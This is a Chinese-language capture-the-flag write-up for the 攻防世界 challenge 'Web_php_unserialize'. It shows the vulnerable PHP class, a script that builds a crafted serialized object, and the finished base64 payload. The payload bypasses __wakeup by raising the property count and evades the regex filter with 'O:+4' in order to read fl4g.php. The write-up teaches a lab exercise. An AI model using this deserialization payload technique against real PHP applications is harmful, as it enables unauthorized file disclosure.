攻防世界 Web_php_unserialize

Web_php_unserialize

PHP反序列化

看看代码

 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

分析一下这个正则表达式

preg_match('/[oc]:\d+:/i', $var)
[oc]这表示一个字符类,意味着匹配'o'或者'c'这两个字母中的任意一种
\d+表示匹配一个或者多个数字
/i表示不区分大小写
所以这个正则表达式的意思是用来查找以 'o:''c:' 开头,后面跟着一个或多个数字,再以一个冒号结束的字符串。例如,o:1234:C:5678: 都将被匹配到。

这道题我们需要的文件是fl4g.php,但是如果经过了__wakeup就会将file变成index.php,所以我们主要需要绕过__wakeup这个函数

如果表示对象属性个数的值大于真实的属性个数时,就可以绕过__wakeup方法,写一个反序列化的脚本


class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            $this->file = 'index.php';
        }
    }
}

$a = new Demo('fl4g.php');
$b = serialize($a);
var_dump ($b);

echo base64_encode($b);
?>

img

O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

可是s:10代表着后面的变量名长度应是10,但好像只有八位???

因为前面还有个正则表达式,所以我们还需要绕过这个正则表达式,使用O:+4就行

可以直接写脚本绕过


class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            $this->file = 'index.php';
        }
    }
}

$a = new Demo('fl4g.php');
$b = serialize($a);
var_dump ($b);
$str1 = str_replace('O:4','O:+4',$b);
$str2  = str_replace(':1:',':2:',$str1);
echo "
"
; var_dump ($str2); echo "
"
; echo base64_encode($str2); ?>

因为GET传参还要经过一个Base64的解码,所以对这个表达式还要经过base64的加密

执行出来为

string(48) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

然后我们知道怎么绕过了,可不可以直接自己手动绕过,base加密捏

但是这样的base和上面不一样

攻防世界 Web_php_unserialize_第1张图片

访问控制修饰符的不同,序列化后属性的长度和属性值会有所不同,如下所示:

public:属性被序列化的时候属性值会变成属性名protected:属性被序列化的时候属性值会变成\x00*\x00属性名private:属性被序列化的时候属性值会变成\x00类名\x00属性名其中:\x00表示空字符,但是还是占用一个字符位置

可以看到Demo类里面的属性是private,所以需要增加/x00,这样base出来就是一样的了

攻防世界 Web_php_unserialize_第2张图片
然后就可以得到flag了
攻防世界 Web_php_unserialize_第3张图片

你可能感兴趣的:(#,攻防世界,php)